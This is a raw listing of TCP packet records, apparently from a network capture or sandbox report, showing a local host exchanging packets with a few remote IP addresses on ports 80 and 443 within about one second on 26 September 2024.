Sep 26, 2024 15:11:10.664927959 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664930105 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.664930105 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.664942026 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.664983034 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.664983034 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.665061951 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.665075064 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.665170908 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.665174961 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.665188074 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.665199041 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.665210009 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.665222883 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.665235043 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.665239096 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.665246964 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.665281057 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.665281057 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.665293932 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.682831049 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.687983036 CEST	80	49726	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:10.694866896 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.694981098 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.694993019 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.695004940 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.695015907 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.695028067 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.695034981 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.695040941 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.695055008 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.695106030 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.695143938 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.695156097 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.695162058 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.695168972 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.695183039 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.695199013 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.695205927 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.695255995 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.695327997 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.695472002 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.696202040 CEST	49728	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:10.696259022 CEST	443	49728	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:10.696429014 CEST	49728	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:10.696688890 CEST	49728	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:10.696706057 CEST	443	49728	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:10.744285107 CEST	49726	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:10.745394945 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745414019 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745434999 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745448112 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745460033 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745471954 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745485067 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745496988 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745508909 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745511055 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.745511055 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.745552063 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745556116 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.745563984 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745592117 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.745625019 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745636940 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745649099 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745661974 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745680094 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.745691061 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745747089 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.745778084 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745827913 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745834112 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745845079 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745857000 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745874882 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.745897055 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.745923042 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.745939016 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.746071100 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.747615099 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.747628927 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.747642040 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.747688055 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.747688055 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.747736931 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.747750998 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.747765064 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.747776985 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.747786045 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.747793913 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.747814894 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.747853994 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.747868061 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.747898102 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.747909069 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.747920990 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.748003960 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.748003960 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.748017073 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.748028994 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.748039961 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.748051882 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.748075008 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.748075008 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.748080015 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.748121023 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.748140097 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.748152971 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.748205900 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.748223066 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.748234987 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.748363018 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.749586105 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.749609947 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.749640942 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.749651909 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.749695063 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.749695063 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.749696970 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.749710083 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.749722004 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.749764919 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.749764919 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.749764919 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.749777079 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.749795914 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.749808073 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.749852896 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.749852896 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.749885082 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.749897003 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.749910116 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.749942064 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.749974012 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750005007 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750016928 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750072002 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750072002 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750147104 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750158072 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750169992 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750180960 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750196934 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750238895 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750248909 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750248909 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750253916 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750267982 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750281096 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750307083 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750307083 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750333071 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750344992 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750375032 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750386000 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750390053 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750399113 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750447989 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750447989 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750514030 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750524998 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750535965 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750546932 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750566959 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750567913 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750581980 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750597000 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750612974 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750642061 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750648975 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750660896 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750672102 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750714064 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750714064 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750785112 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750796080 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750808001 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750819921 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750832081 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750834942 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750847101 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750890970 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750906944 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.750916958 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750927925 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750938892 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750951052 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.750997066 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.751034021 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.751039028 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.751053095 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.751064062 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.751077890 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.751087904 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.751097918 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.751099110 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.751115084 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.751162052 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.781124115 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.781145096 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.781157017 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.781194925 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.781213045 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.781213045 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.781225920 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.781241894 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.781291008 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.781291008 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.781302929 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.781317949 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.781330109 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.781342983 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.781357050 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.781367064 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.781383038 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.781397104 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.781435966 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.781450987 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.781514883 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.831553936 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831630945 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831649065 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831660986 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831671953 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831686020 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831701994 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831707954 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831720114 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831718922 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.831773996 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.831773996 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.831835985 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831847906 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831860065 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831888914 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831895113 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831947088 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.831959963 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.831984043 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.831998110 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.832027912 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.832040071 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.832075119 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.832082987 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.832082987 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.832113028 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.832127094 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.832137108 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.832170010 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.833714008 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.833728075 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.833739996 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.833789110 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.833863020 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.833875895 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.833888054 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.833899975 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.833930016 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.833936930 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.833945036 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.833952904 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.834016085 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.834017992 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.834029913 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.834043980 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.834053993 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.834108114 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.834108114 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.834146976 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.834161997 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.834173918 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.834186077 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.834197998 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.834213018 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.834243059 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.834256887 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.834384918 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.834398031 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.834410906 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.834419966 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.834469080 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.834469080 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.835681915 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.835705042 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.835716009 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.835788012 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.835809946 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.835823059 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.835834980 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.835863113 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.835874081 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.835885048 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.835887909 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.835910082 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.835922956 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.835936069 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.835990906 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.835999012 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836011887 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836025000 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836086035 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.836107016 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836117983 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836124897 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836182117 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836186886 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.836277962 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836291075 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836303949 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836314917 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836328030 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836344957 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.836344957 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.836374998 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.836424112 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836435080 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836447001 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836457968 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836468935 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836469889 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.836479902 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836493015 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836524963 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.836524963 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.836555004 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836669922 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.836729050 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836740971 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836751938 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836762905 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836775064 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.836786032 CEST	80	49727	172.86.66.70	192.168.2.12
